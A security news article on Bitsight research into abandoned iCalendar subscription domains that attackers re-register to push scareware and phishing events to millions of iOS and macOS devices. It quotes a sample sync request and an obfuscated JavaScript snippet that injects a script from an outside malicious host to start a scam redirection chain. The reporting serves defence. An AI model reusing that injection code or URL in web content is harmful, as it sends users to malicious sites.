Over 390 Abandoned iCalendar Sync Domains Could Expose ~4 Million Devices to Security Risks

Digital calendars have become indispensable tools for managing personal and professional schedules. Users frequently subscribe to external calendars for public holidays, sports schedules, or community events to keep their agendas up to date.

While these subscriptions offer convenience, they create a persistent connection between a user’s device and an external server.

If the domain hosting the calendar is abandoned and subsequently expires, it opens a dangerous vulnerability.

Cybercriminals can re-register these expired domains, effectively hijacking the trust established by the original subscription.

The attack vector is particularly insidious because it requires no new action from the victim. The user’s device continues to perform background synchronization requests to the now-malicious domain.

Attackers can then push diverse threats directly into the calendar interface, ranging from scareware that mimics system security alerts to phishing links disguised as exclusive offers.

This method bypasses traditional email filters, leveraging the implicit trust users place in their personal planning tools to deliver malicious payloads.

Bitsight security analysts identified this emerging threat landscape after investigating a single suspicious domain distributing holiday events.

Their deep dive revealed a sprawling network of over 390 abandoned domains that were actively receiving synchronization requests.

Further analysis indicated that these domains were communicating with approximately 4 million unique IP addresses daily, primarily from iOS and macOS devices.

This massive scale highlights how a simple lapsed domain registration can expose millions of users to potential compromise without their knowledge.

Technical Breakdown of the Synchronization Traffic

The investigation uncovered specific technical patterns that facilitate this exploitation. The traffic is characterized by HTTP requests where the Accept header signals the device’s readiness to parse calendar files.

The User-Agent string, typically containing the daemon identifier, explicitly identifies the source as the iOS Calendar system, confirming the request is a background process rather than a user-initiated browser visit.

GET /[URI]
Host: [Target_Domain]
User-Agent: iOS/17.5.1 (21F90) dataaccessd/1.0
Accept: text/calendar

Researchers categorized the malicious traffic into two main types: Base64-encoded URIs and Webcal query requests.

As seen in the above figure that the Calendar .ics file returned by active domain, the server responds with an iCalendar file that can contain manipulated event data.

Additionally, the underlying infrastructure often employs heavily obfuscated JavaScript to execute deeper compromises.

The code snippet below demonstrates how a payload is dynamically injected into the page’s Document Object Model to initiate a redirection chain:-

_0x407c32.src = "https://render.linetowaystrue.com/jRQxhz";
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(_0x407c32, document.currentScript);
}

This script, once deobfuscated, reveals the mechanism used to load further malicious content, often leading users to the scams.

By understanding these distinct traffic signatures and script behaviors, security professionals can better identify and block this covert attack vector.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.